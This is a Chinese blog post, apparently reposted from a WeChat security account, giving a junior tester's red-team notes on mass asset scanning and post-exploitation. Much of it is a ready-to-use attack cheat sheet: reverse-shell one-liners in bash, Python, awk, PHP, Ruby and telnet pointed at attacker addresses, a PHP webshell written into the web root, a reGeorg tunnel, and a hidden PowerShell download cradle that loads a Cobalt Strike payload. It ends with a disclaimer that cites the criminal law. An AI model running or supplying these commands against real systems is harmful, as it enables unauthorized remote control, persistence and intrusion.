安服仔,最近做了好几个项目都是红队服务,我一ctf签到选手,src低危挖掘者,日常项目低危三连玩家哪懂这啊。好在大佬们实在太猛,给大佬们端茶倒水好好学习了一波。
1.前期打点
前期打点个人感觉就是批量批量再批量,红队服务不同于日常项目一个登陆框日一天,可以针对目标范围内所有资产进行渗透,这个时候大范围收集相关子域名,c段就很有必要。资产直接找客户要,客户很多都会给。也可以自己收集,google找到官网,onefoeall收集子域名,ARL收集相关资产…方法很多。
收集到了足够的资产之后,就是快乐的批量打点时间,作为一个没有0day,没有批量脚本的菜鸡,当然要充分发挥各大工具的作用。
1.1 awvs
awvs这个不用多说,收集到的子域名直接往里面导入就完事,子域名太多不想手动?批量脚本来一波,该脚本导入url的同时可开启awvs的代理联动xray,在相同目录下新建url.txt文件,将需要扫描的url放到里面即可,一次性导入太多子域名可能会卡,可以根据自身主机性能适当调整导入50个还是100个…
PYTHON
1 |
import requests |
1.2 goby
goby也是一个批量打点的好东西,收集到的子域名,C段,往里面一导等着出结果就完事。但是goby我习惯开全端口,这就导致结果出的比较慢,为了不显得那么划水,可以实时查看goby识别出的web网站,结合xray插件提高效率
像这种准确识别出title头的网站,不要犹豫点击xray按钮干他。
1.3 大佬分享的护网自动化小脚本
护网自动化脚本:https://mp.weixin.qq.com/s/uHNx28XFZ5M6KwykMC4Jsg
github地址:https://github.com/0x9f99/Recon
该项目牛逼的地方在于,你只要给他一个域名列如:./recon.sh domain.com 他就会自动收集子域名,解析对应ip保留c段进行masscan+nmap的全端口扫描,
并对扫描的结果进行插件中集成的poc探测。假如头一天接到红队项目,知道明天要去打红队,那晚上先在服务器上./recon.sh domain.com > log.txt 2>&1 &
第二天起床上班看结果,岂不美滋滋。
还有很多打点的方法,菜鸡只分享自己会的,欢迎大佬们补充教教我…
1.4 动静比较小的打法
一些红队测试可能会有溯源,反制等操作。这时候awvs/goby这些动静大的工具一开,可能很快就报警被拦截了。这时候就要换点思路了。
arl就是一款不错的工具,利用自己编写的探测指纹,优先识别出目标资产中例如:struts2/weblogic/shiro等组件开发的系统。针对性去重点测试。
更多可以参考我的文章:https://h11ba1.com/posts/arl_poc%E7%BC%96%E5%86%99.html
2. 打点之后的持续深入
日常只会发现漏洞,找到一个s2,shiro之类的命令执行,第一时间竟感到一丝茫然Σ(っ °Д °;)っ
看了大佬们的操作后,及时学习了一波
找到命令执行之后先判断,是linux还是windows服务器,个人感觉两种服务器略有不同的渗透方法,linux服务器更多的考虑上线代理脚本进行内网渗透,windows服务器肯定要上线cs或者打一个msf的meterpreter。
linux主机
当然第一步肯定先建立一个稳定的入口点,可以考虑反弹shell或者写一个webshell,方便接下来的渗透,
2.1 反弹shell
反弹shell一般使用bash
bash:
SHELL
1 |
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 |
PLAINTEXT
1 |
base64编码为'bash -i >& /dev/tcp/192.168.146.129/2333 0>&1'编码 |
python:
PLAINTEXT
1 |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
awk:
PLAINTEXT
1 |
awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' |
php:
PLAINTEXT
1 |
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby
PLAINTEXT
1 |
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
telnet:
PLAINTEXT
1 |
mknod test p && telnet ip port 0<test | /bin/bash 1>test |
2.2 写入webshell
命令执行到写入webshell还是有很多坑的,接下来简单记录学习到的方法
web路径发现
find命令直接查找web文件,这里查找js文件,可以在网站首页查看js文件名,针对性查找,也可以使用*.js查找所有。
PLAINTEXT
1 |
find / -name *.js |
读取web日志,查看web路径
查看log位置:
PLAINTEXT
1 |
find / -name log |
常见日志位置:
BASH
1 |
/var/log/access_log |
也可以读取配置文件来查找对应的日志:
BASH
1 |
/etc/httpd/conf/httpd.conf |
Window 2003 + IIS6.0 日志文件默认放在
PLAINTEXT
1 |
C:WINDOWSsystem32Logfiles |
IIS 7 日志文件默认在
PLAINTEXT
1 |
C:inetpublogsLogFiles |
配置文件默认目录
PLAINTEXT
1 |
C:WindowsSystem32inetsrvconfigapplicationHost.config |
写入webshell
发现web路径之后可写入webshell
PLAINTEXT
1 |
echo '<?php $_REQUEST[1];?>' > /var/www/html/phpinfo.php |
webshell简单编码:
SHELL
1 |
将webshell使用burp base64编码 |
2.3 上线代理
代理可以通过上传reGeorg脚本使用proxifier连接进行测试
reGeorg地址:https://github.com/sensepost/reGeorg
访问上传的的代理脚本,出现该字样表明上传成果。
然后python运行reGeorgSocksProxy.py脚本
PLAINTEXT
1 |
python -u 'http://209.141.41.86:8080/tunnel.nosocket.php' -p 8080 |
然后使用Proxifier即可连接代理。
Proxifier使用方法:https://blog.csdn.net/u013066730/article/details/88788191
在实际进行代理脚本上传过程中将代理脚本base64编码,会因为太长存在截断问题,php含有特殊符号如&等post数据时会被当做参数被截断。可通过url编码来尝试解决。
windows主机
2.1windows主机信息收集
SHELL
1 |
ipconfig /all 本机网络配置 |
更多详情可以看:https://xz.aliyun.com/t/7663#toc-6
2.2 上线cs
cs上线之前需要先建立监听:
Cobalt Strike–>Listenrs Add 一个监听器
2.2.1执行木马上线cs
生成windows木马:Attacks–>Packages–>Windows Executable
如果主机是64位则需要勾选x64,点击Generate即可生成木马,上传到目标机,命令行执行即可上线。
但是cs的木马上传到目标机时容易被杀软杀掉,此时就需要考虑其他方式上线
如:powershell上线,msf建立meterpreter派生…
2.2.2. powershell上线cs
生成powershell payload
POWERSHELL
1 |
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.75.128:80/a2'))" |
命令行执行,即可上线。
2.2.3 msf—cs交互
cs派生会话给msf
msf:
PLAINTEXT
1 |
Set payload windows/meterpreter/reverse_http(这里一定要选择http的这个,因为cs监听器传递会话只支持http和https) 选择payload |
cs建立监听器:
一定要选择Foregin对外监听器,host填msf ip,port填写msf监听端口。
msf派生会话给cs:
cs选择建立的http/https监听器。
msf:
SHELL
1 |
use exploit/windows/local/payload_inject |
如果msf报错:[-] Exploit aborted due to failure: bad-config: Cannot inject a 64-bit payload into any process on a 32-bit OS
去掉/x64即可。
给大佬们打好了点,上线了cs之后,顿时感觉索然无味,人生失去了方向。为了接下来的项目有点参与感,简单学习一下内网打法。
参考连接
https://h11ba1.com/2020/10/05/%E5%A6%82%E4%BD%95%E4%B8%BA%E7%BA%A2%E9%98%9F%E5%A4%A7%E4%BD%AC%E7%AB%AF%E8%8C%B6%E5%80%92%E6%B0%B4%E4%B8%8A%E7%BA%BFcs/
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):如何为红队大佬端茶倒水上线cs
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论